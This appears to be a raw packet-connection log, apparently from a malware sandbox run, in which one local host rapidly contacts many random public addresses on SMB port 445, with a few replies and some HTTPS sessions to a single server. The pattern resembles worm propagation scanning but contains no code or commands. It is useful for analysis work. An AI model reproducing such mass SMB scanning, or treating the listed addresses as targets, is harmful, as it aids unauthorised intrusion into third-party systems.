Jul 20, 2022 06:08:09.511214018 CEST	53796	445	192.168.2.6	145.233.117.7
Jul 20, 2022 06:08:09.512962103 CEST	53798	445	192.168.2.6	133.47.102.20
Jul 20, 2022 06:08:09.512976885 CEST	53799	445	192.168.2.6	173.44.229.53
Jul 20, 2022 06:08:09.546262980 CEST	53801	445	192.168.2.6	20.186.18.241
Jul 20, 2022 06:08:09.546756029 CEST	53806	445	192.168.2.6	92.117.227.32
Jul 20, 2022 06:08:09.553383112 CEST	53805	445	192.168.2.6	100.111.168.90
Jul 20, 2022 06:08:09.553519011 CEST	53809	445	192.168.2.6	46.37.35.245
Jul 20, 2022 06:08:09.553608894 CEST	53813	445	192.168.2.6	77.108.147.82
Jul 20, 2022 06:08:09.553647041 CEST	53814	445	192.168.2.6	49.9.106.104
Jul 20, 2022 06:08:09.553694010 CEST	53815	445	192.168.2.6	86.227.201.59
Jul 20, 2022 06:08:10.000226021 CEST	53788	445	192.168.2.6	185.4.171.43
Jul 20, 2022 06:08:10.016987085 CEST	53822	445	192.168.2.6	176.241.42.43
Jul 20, 2022 06:08:10.017576933 CEST	53823	445	192.168.2.6	37.21.160.77
Jul 20, 2022 06:08:10.018054008 CEST	53824	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:10.040149927 CEST	445	53788	185.4.171.43	192.168.2.6
Jul 20, 2022 06:08:10.045629025 CEST	445	53824	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:10.045841932 CEST	53824	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:10.045898914 CEST	53824	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:10.048185110 CEST	53826	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:10.049715996 CEST	53827	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:10.066580057 CEST	445	53822	176.241.42.43	192.168.2.6
Jul 20, 2022 06:08:10.073252916 CEST	445	53824	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:10.073276997 CEST	445	53824	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:10.076462984 CEST	445	53827	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:10.076586008 CEST	53827	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:10.076709986 CEST	53827	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:10.103545904 CEST	445	53827	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:10.218502045 CEST	445	53826	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:10.218601942 CEST	53826	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:10.218777895 CEST	53826	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:10.376426935 CEST	53829	445	192.168.2.6	98.234.199.230
Jul 20, 2022 06:08:10.377079010 CEST	53830	445	192.168.2.6	90.252.202.218
Jul 20, 2022 06:08:10.378623009 CEST	53832	445	192.168.2.6	134.212.43.2
Jul 20, 2022 06:08:10.379302979 CEST	53833	445	192.168.2.6	165.193.230.52
Jul 20, 2022 06:08:10.388394117 CEST	445	53826	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:10.397272110 CEST	53826	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:10.517261982 CEST	53840	445	192.168.2.6	176.148.165.5
Jul 20, 2022 06:08:10.567286015 CEST	445	53826	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:10.567425966 CEST	53826	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:10.578416109 CEST	53822	445	192.168.2.6	176.241.42.43
Jul 20, 2022 06:08:10.590390921 CEST	53842	445	192.168.2.6	131.190.235.107
Jul 20, 2022 06:08:10.592907906 CEST	53843	445	192.168.2.6	93.26.172.28
Jul 20, 2022 06:08:10.593014002 CEST	53844	445	192.168.2.6	140.215.9.127
Jul 20, 2022 06:08:10.593183041 CEST	53846	445	192.168.2.6	54.57.143.150
Jul 20, 2022 06:08:10.593292952 CEST	53847	445	192.168.2.6	182.163.61.6
Jul 20, 2022 06:08:10.593523979 CEST	53852	445	192.168.2.6	135.102.204.174
Jul 20, 2022 06:08:10.593653917 CEST	53853	445	192.168.2.6	117.78.90.191
Jul 20, 2022 06:08:10.593857050 CEST	53854	445	192.168.2.6	103.125.229.216
Jul 20, 2022 06:08:10.593930960 CEST	53855	445	192.168.2.6	95.226.147.234
Jul 20, 2022 06:08:10.597048998 CEST	53857	445	192.168.2.6	80.156.140.68
Jul 20, 2022 06:08:10.597170115 CEST	53858	445	192.168.2.6	77.181.109.84
Jul 20, 2022 06:08:10.627015114 CEST	53859	445	192.168.2.6	87.9.113.176
Jul 20, 2022 06:08:10.628572941 CEST	53860	445	192.168.2.6	22.135.86.8
Jul 20, 2022 06:08:10.628758907 CEST	53862	445	192.168.2.6	59.22.57.192
Jul 20, 2022 06:08:10.628820896 CEST	53864	445	192.168.2.6	208.188.110.21
Jul 20, 2022 06:08:10.628892899 CEST	53865	445	192.168.2.6	20.139.135.48
Jul 20, 2022 06:08:10.629113913 CEST	445	53822	176.241.42.43	192.168.2.6
Jul 20, 2022 06:08:10.659701109 CEST	53869	445	192.168.2.6	95.217.248.207
Jul 20, 2022 06:08:10.660306931 CEST	53870	445	192.168.2.6	83.242.20.156
Jul 20, 2022 06:08:10.660748005 CEST	53871	445	192.168.2.6	164.72.23.89
Jul 20, 2022 06:08:10.661472082 CEST	53872	445	192.168.2.6	222.60.213.194
Jul 20, 2022 06:08:10.664033890 CEST	53876	445	192.168.2.6	173.197.72.62
Jul 20, 2022 06:08:10.665797949 CEST	53879	445	192.168.2.6	195.71.130.230
Jul 20, 2022 06:08:10.668402910 CEST	53883	445	192.168.2.6	60.237.59.86
Jul 20, 2022 06:08:10.736366034 CEST	445	53826	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:10.798424959 CEST	53885	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:10.878827095 CEST	445	53876	173.197.72.62	192.168.2.6
Jul 20, 2022 06:08:10.969479084 CEST	445	53885	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:10.969608068 CEST	53885	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:10.994589090 CEST	53885	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:11.001117945 CEST	53887	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:11.079518080 CEST	53890	445	192.168.2.6	176.241.42.44
Jul 20, 2022 06:08:11.080225945 CEST	53891	445	192.168.2.6	37.21.160.78
Jul 20, 2022 06:08:11.126619101 CEST	445	53890	176.241.42.44	192.168.2.6
Jul 20, 2022 06:08:11.165474892 CEST	445	53885	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:11.165518045 CEST	445	53885	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:11.172183990 CEST	445	53887	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:11.172384977 CEST	53887	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:11.175276995 CEST	53887	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:11.347157955 CEST	445	53887	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:11.347560883 CEST	53887	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:11.486649990 CEST	53894	445	192.168.2.6	99.188.168.249
Jul 20, 2022 06:08:11.487473965 CEST	53895	445	192.168.2.6	195.56.105.34
Jul 20, 2022 06:08:11.491193056 CEST	53898	445	192.168.2.6	27.164.197.78
Jul 20, 2022 06:08:11.491993904 CEST	53897	445	192.168.2.6	50.134.155.114
Jul 20, 2022 06:08:11.518486977 CEST	445	53887	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:11.518855095 CEST	53887	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:11.531752110 CEST	53876	445	192.168.2.6	173.197.72.62
Jul 20, 2022 06:08:11.587178946 CEST	53903	445	192.168.2.6	176.148.165.6
Jul 20, 2022 06:08:11.641026974 CEST	53890	445	192.168.2.6	176.241.42.44
Jul 20, 2022 06:08:11.689706087 CEST	445	53890	176.241.42.44	192.168.2.6
Jul 20, 2022 06:08:11.689846992 CEST	445	53887	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:11.703056097 CEST	53906	445	192.168.2.6	188.100.36.93
Jul 20, 2022 06:08:11.704812050 CEST	53908	445	192.168.2.6	26.7.110.45
Jul 20, 2022 06:08:11.705348969 CEST	53909	445	192.168.2.6	136.56.213.117
Jul 20, 2022 06:08:11.706337929 CEST	53911	445	192.168.2.6	210.228.224.0
Jul 20, 2022 06:08:11.711457014 CEST	53912	445	192.168.2.6	138.210.7.55
Jul 20, 2022 06:08:11.713639021 CEST	53913	445	192.168.2.6	157.215.55.80
Jul 20, 2022 06:08:11.713710070 CEST	53915	445	192.168.2.6	70.203.166.196
Jul 20, 2022 06:08:11.713846922 CEST	53919	445	192.168.2.6	132.238.214.77
Jul 20, 2022 06:08:11.713855028 CEST	53920	445	192.168.2.6	103.131.132.125
Jul 20, 2022 06:08:11.713959932 CEST	53922	445	192.168.2.6	18.204.162.95
Jul 20, 2022 06:08:11.713998079 CEST	53923	445	192.168.2.6	139.40.2.136
Jul 20, 2022 06:08:11.737009048 CEST	53924	445	192.168.2.6	212.157.163.20
Jul 20, 2022 06:08:11.738312960 CEST	53926	445	192.168.2.6	223.52.52.184
Jul 20, 2022 06:08:11.738348961 CEST	53927	445	192.168.2.6	64.210.98.76
Jul 20, 2022 06:08:11.738436937 CEST	53928	445	192.168.2.6	132.132.166.145
Jul 20, 2022 06:08:11.738522053 CEST	53929	445	192.168.2.6	121.181.43.155
Jul 20, 2022 06:08:11.745614052 CEST	445	53876	173.197.72.62	192.168.2.6
Jul 20, 2022 06:08:11.769809961 CEST	53933	445	192.168.2.6	213.36.175.149
Jul 20, 2022 06:08:11.770780087 CEST	53934	445	192.168.2.6	77.220.48.104
Jul 20, 2022 06:08:11.771523952 CEST	53935	445	192.168.2.6	93.244.54.150
Jul 20, 2022 06:08:11.772353888 CEST	53936	445	192.168.2.6	103.150.114.204
Jul 20, 2022 06:08:11.774899960 CEST	53940	445	192.168.2.6	138.144.220.247
Jul 20, 2022 06:08:11.776829004 CEST	53943	445	192.168.2.6	43.151.209.70
Jul 20, 2022 06:08:11.779628038 CEST	53947	445	192.168.2.6	128.158.105.79
Jul 20, 2022 06:08:12.157469988 CEST	53953	445	192.168.2.6	176.241.42.45
Jul 20, 2022 06:08:12.158227921 CEST	53954	445	192.168.2.6	37.21.160.79
Jul 20, 2022 06:08:12.207530022 CEST	445	53953	176.241.42.45	192.168.2.6
Jul 20, 2022 06:08:12.617858887 CEST	53962	445	192.168.2.6	210.227.240.170
Jul 20, 2022 06:08:12.617896080 CEST	53963	445	192.168.2.6	118.180.204.63
Jul 20, 2022 06:08:12.617969036 CEST	53965	445	192.168.2.6	217.55.140.140
Jul 20, 2022 06:08:12.618050098 CEST	53966	445	192.168.2.6	51.108.234.213
Jul 20, 2022 06:08:12.658272028 CEST	53967	445	192.168.2.6	176.148.165.7
Jul 20, 2022 06:08:12.719228029 CEST	53953	445	192.168.2.6	176.241.42.45
Jul 20, 2022 06:08:12.769334078 CEST	445	53953	176.241.42.45	192.168.2.6
Jul 20, 2022 06:08:12.813854933 CEST	53970	445	192.168.2.6	101.38.109.162
Jul 20, 2022 06:08:12.829633951 CEST	53972	445	192.168.2.6	18.200.232.5
Jul 20, 2022 06:08:12.832690001 CEST	53973	445	192.168.2.6	136.33.250.74
Jul 20, 2022 06:08:12.833451986 CEST	53974	445	192.168.2.6	194.39.164.137
Jul 20, 2022 06:08:12.834748030 CEST	53976	445	192.168.2.6	112.71.86.241
Jul 20, 2022 06:08:12.835414886 CEST	53977	445	192.168.2.6	11.91.244.63
Jul 20, 2022 06:08:12.836711884 CEST	53979	445	192.168.2.6	49.12.229.135
Jul 20, 2022 06:08:12.837393999 CEST	53980	445	192.168.2.6	112.100.89.200
Jul 20, 2022 06:08:12.839466095 CEST	53983	445	192.168.2.6	30.220.204.103
Jul 20, 2022 06:08:12.841355085 CEST	53986	445	192.168.2.6	67.214.126.158
Jul 20, 2022 06:08:12.842015028 CEST	53987	445	192.168.2.6	69.115.204.84
Jul 20, 2022 06:08:12.845258951 CEST	53988	445	192.168.2.6	139.166.176.144
Jul 20, 2022 06:08:12.846435070 CEST	53990	445	192.168.2.6	110.188.83.89
Jul 20, 2022 06:08:12.847194910 CEST	53991	445	192.168.2.6	199.217.139.88
Jul 20, 2022 06:08:12.847901106 CEST	53992	445	192.168.2.6	87.33.130.228
Jul 20, 2022 06:08:12.848570108 CEST	53993	445	192.168.2.6	142.120.52.212
Jul 20, 2022 06:08:12.906342983 CEST	53998	445	192.168.2.6	30.100.233.37
Jul 20, 2022 06:08:12.906459093 CEST	53997	445	192.168.2.6	194.134.199.72
Jul 20, 2022 06:08:12.906491041 CEST	54000	445	192.168.2.6	63.173.229.156
Jul 20, 2022 06:08:12.906497002 CEST	53999	445	192.168.2.6	44.45.21.171
Jul 20, 2022 06:08:12.906816006 CEST	54004	445	192.168.2.6	94.197.17.170
Jul 20, 2022 06:08:12.906984091 CEST	54007	445	192.168.2.6	1.175.120.169
Jul 20, 2022 06:08:12.907259941 CEST	54012	445	192.168.2.6	154.212.249.149
Jul 20, 2022 06:08:13.110440969 CEST	54014	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:13.138576031 CEST	445	54014	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:13.140878916 CEST	54014	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:13.142043114 CEST	54014	445	192.168.2.6	178.159.42.74
Jul 20, 2022 06:08:13.175518990 CEST	445	54014	178.159.42.74	192.168.2.6
Jul 20, 2022 06:08:13.220014095 CEST	54016	445	192.168.2.6	176.241.42.46
Jul 20, 2022 06:08:13.220304012 CEST	54017	445	192.168.2.6	37.21.160.80
Jul 20, 2022 06:08:13.249061108 CEST	54018	445	192.168.2.6	178.159.42.75
Jul 20, 2022 06:08:13.274087906 CEST	445	54016	176.241.42.46	192.168.2.6
Jul 20, 2022 06:08:13.723043919 CEST	54024	445	192.168.2.6	153.98.14.102
Jul 20, 2022 06:08:13.723110914 CEST	54025	445	192.168.2.6	95.125.246.209
Jul 20, 2022 06:08:13.723162889 CEST	54026	445	192.168.2.6	27.126.59.222
Jul 20, 2022 06:08:13.723328114 CEST	54032	445	192.168.2.6	181.190.17.181
Jul 20, 2022 06:08:13.735698938 CEST	54033	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.774440050 CEST	445	54033	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.774610996 CEST	54033	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.774805069 CEST	54033	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.781133890 CEST	54034	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.820463896 CEST	445	54033	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.820499897 CEST	445	54034	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.820620060 CEST	54034	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.820771933 CEST	54034	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.830912113 CEST	445	54033	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.831018925 CEST	54033	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.844338894 CEST	54016	445	192.168.2.6	176.241.42.46
Jul 20, 2022 06:08:13.859411955 CEST	445	54034	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.897080898 CEST	445	54016	176.241.42.46	192.168.2.6
Jul 20, 2022 06:08:13.930970907 CEST	445	54034	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.931159019 CEST	54034	445	192.168.2.6	176.148.165.8
Jul 20, 2022 06:08:13.939002037 CEST	54037	445	192.168.2.6	44.8.36.4
Jul 20, 2022 06:08:13.955007076 CEST	54039	445	192.168.2.6	118.12.248.164
Jul 20, 2022 06:08:13.955539942 CEST	54040	445	192.168.2.6	81.234.158.131
Jul 20, 2022 06:08:13.956032991 CEST	54041	445	192.168.2.6	97.176.227.149
Jul 20, 2022 06:08:13.958476067 CEST	54043	445	192.168.2.6	188.31.183.254
Jul 20, 2022 06:08:13.961731911 CEST	54044	445	192.168.2.6	35.37.107.119
Jul 20, 2022 06:08:13.961858988 CEST	54046	445	192.168.2.6	1.24.114.165
Jul 20, 2022 06:08:13.961944103 CEST	54047	445	192.168.2.6	182.181.210.240
Jul 20, 2022 06:08:13.962106943 CEST	54050	445	192.168.2.6	60.250.61.119
Jul 20, 2022 06:08:13.962238073 CEST	54053	445	192.168.2.6	201.74.101.198
Jul 20, 2022 06:08:13.962347984 CEST	54054	445	192.168.2.6	95.215.231.116
Jul 20, 2022 06:08:13.970050097 CEST	54055	445	192.168.2.6	79.165.14.103
Jul 20, 2022 06:08:13.971405029 CEST	54057	445	192.168.2.6	68.23.200.169
Jul 20, 2022 06:08:13.972054958 CEST	54058	445	192.168.2.6	48.26.65.245
Jul 20, 2022 06:08:13.972564936 CEST	445	54034	176.148.165.8	192.168.2.6
Jul 20, 2022 06:08:13.972747087 CEST	54059	445	192.168.2.6	168.25.31.17
Jul 20, 2022 06:08:13.973412037 CEST	54060	445	192.168.2.6	99.84.244.58
Jul 20, 2022 06:08:14.021716118 CEST	445	54054	95.215.231.116	192.168.2.6
Jul 20, 2022 06:08:14.039300919 CEST	54065	445	192.168.2.6	186.187.213.231
Jul 20, 2022 06:08:14.039366007 CEST	54066	445	192.168.2.6	28.184.99.70
Jul 20, 2022 06:08:14.039458990 CEST	54068	445	192.168.2.6	155.183.223.143
Jul 20, 2022 06:08:14.039491892 CEST	54067	445	192.168.2.6	20.151.184.249
Jul 20, 2022 06:08:14.039680004 CEST	54071	445	192.168.2.6	5.210.43.218
Jul 20, 2022 06:08:14.039680958 CEST	54073	445	192.168.2.6	107.226.142.117
Jul 20, 2022 06:08:14.039868116 CEST	54077	445	192.168.2.6	97.40.183.16
Jul 20, 2022 06:08:14.171984911 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.172034025 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.172151089 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.174104929 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.174118042 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.298845053 CEST	54082	445	192.168.2.6	37.21.160.81
Jul 20, 2022 06:08:14.298943043 CEST	54083	445	192.168.2.6	176.241.42.47
Jul 20, 2022 06:08:14.314060926 CEST	54084	445	192.168.2.6	178.159.42.76
Jul 20, 2022 06:08:14.328310013 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.328396082 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.331224918 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.331238031 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.333775043 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.333786964 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.340662956 CEST	445	54084	178.159.42.76	192.168.2.6
Jul 20, 2022 06:08:14.476063013 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.476164103 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.476193905 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.476229906 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.476295948 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.476314068 CEST	443	54081	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.476334095 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.476375103 CEST	54081	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.480665922 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.480707884 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.480829000 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.481214046 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.481235027 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.531987906 CEST	54054	445	192.168.2.6	95.215.231.116
Jul 20, 2022 06:08:14.589602947 CEST	445	54054	95.215.231.116	192.168.2.6
Jul 20, 2022 06:08:14.625435114 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.625602961 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.626795053 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.626804113 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.629220009 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.629239082 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.705585003 CEST	54091	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:14.711354017 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.711432934 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.711474895 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.711508036 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.711560965 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.711580992 CEST	443	54088	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.711637974 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.711647987 CEST	54088	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.727046013 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.727080107 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.727158070 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.728301048 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.728322983 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.844413996 CEST	54084	445	192.168.2.6	178.159.42.76
Jul 20, 2022 06:08:14.849127054 CEST	54096	445	192.168.2.6	170.162.242.219
Jul 20, 2022 06:08:14.849505901 CEST	54101	445	192.168.2.6	104.74.182.210
Jul 20, 2022 06:08:14.849571943 CEST	54103	445	192.168.2.6	163.104.16.128
Jul 20, 2022 06:08:14.849603891 CEST	54102	445	192.168.2.6	62.135.54.178
Jul 20, 2022 06:08:14.870985985 CEST	445	54084	178.159.42.76	192.168.2.6
Jul 20, 2022 06:08:14.871021032 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.871160030 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.871717930 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.871725082 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.874413967 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.874420881 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.875310898 CEST	445	54091	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:14.875435114 CEST	54091	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:14.875684023 CEST	54091	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:14.999336004 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.999429941 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.999449015 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.999496937 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.999552965 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.999567986 CEST	443	54092	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:14.999588966 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:14.999639034 CEST	54092	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.002960920 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.002978086 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.003051996 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.003417969 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.003428936 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.048820972 CEST	445	54091	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:15.056706905 CEST	54091	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:15.086021900 CEST	54108	445	192.168.2.6	145.44.169.91
Jul 20, 2022 06:08:15.086078882 CEST	54109	445	192.168.2.6	177.98.95.251
Jul 20, 2022 06:08:15.086097956 CEST	54110	445	192.168.2.6	109.55.153.158
Jul 20, 2022 06:08:15.086189985 CEST	54111	445	192.168.2.6	87.11.250.176
Jul 20, 2022 06:08:15.086297035 CEST	54114	445	192.168.2.6	219.78.59.116
Jul 20, 2022 06:08:15.086391926 CEST	54115	445	192.168.2.6	178.231.183.116
Jul 20, 2022 06:08:15.086812973 CEST	54118	445	192.168.2.6	153.215.35.55
Jul 20, 2022 06:08:15.086813927 CEST	54119	445	192.168.2.6	7.218.160.128
Jul 20, 2022 06:08:15.086947918 CEST	54121	445	192.168.2.6	163.121.179.239
Jul 20, 2022 06:08:15.087004900 CEST	54123	445	192.168.2.6	20.205.212.192
Jul 20, 2022 06:08:15.087091923 CEST	54124	445	192.168.2.6	96.70.96.180
Jul 20, 2022 06:08:15.088963985 CEST	54125	445	192.168.2.6	202.27.1.42
Jul 20, 2022 06:08:15.089034081 CEST	54127	445	192.168.2.6	42.8.218.66
Jul 20, 2022 06:08:15.089059114 CEST	54128	445	192.168.2.6	179.204.226.211
Jul 20, 2022 06:08:15.089227915 CEST	54130	445	192.168.2.6	207.156.39.1
Jul 20, 2022 06:08:15.089229107 CEST	54129	445	192.168.2.6	104.150.140.8
Jul 20, 2022 06:08:15.154953957 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.155050039 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.156146049 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.156155109 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.158643007 CEST	54135	445	192.168.2.6	94.241.209.21
Jul 20, 2022 06:08:15.159151077 CEST	54136	445	192.168.2.6	37.241.135.22
Jul 20, 2022 06:08:15.159658909 CEST	54137	445	192.168.2.6	159.116.159.230
Jul 20, 2022 06:08:15.164096117 CEST	54141	445	192.168.2.6	14.42.55.152
Jul 20, 2022 06:08:15.164179087 CEST	54142	445	192.168.2.6	89.25.228.216
Jul 20, 2022 06:08:15.164310932 CEST	54147	445	192.168.2.6	1.10.79.43
Jul 20, 2022 06:08:15.166707993 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.166721106 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.189106941 CEST	54149	445	192.168.2.6	117.18.254.13
Jul 20, 2022 06:08:15.229494095 CEST	445	54091	107.186.37.8	192.168.2.6
Jul 20, 2022 06:08:15.230669022 CEST	54091	445	192.168.2.6	107.186.37.8
Jul 20, 2022 06:08:15.236826897 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.236922979 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.236944914 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.236973047 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.242957115 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.242980957 CEST	443	54106	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.242995024 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.243035078 CEST	54106	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.245238066 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.245266914 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.245347023 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.246690035 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.246702909 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.392178059 CEST	54152	445	192.168.2.6	178.159.42.77
Jul 20, 2022 06:08:15.392817974 CEST	54153	445	192.168.2.6	37.21.160.82
Jul 20, 2022 06:08:15.393507004 CEST	54154	445	192.168.2.6	176.241.42.48
Jul 20, 2022 06:08:15.395787001 CEST	443	54151	20.238.103.94	192.168.2.6
Jul 20, 2022 06:08:15.395858049 CEST	54151	443	192.168.2.6	20.238.103.94
Jul 20, 2022 06:08:15.398571968 CEST	54151	443	192.168.2.6	20.238.103.94
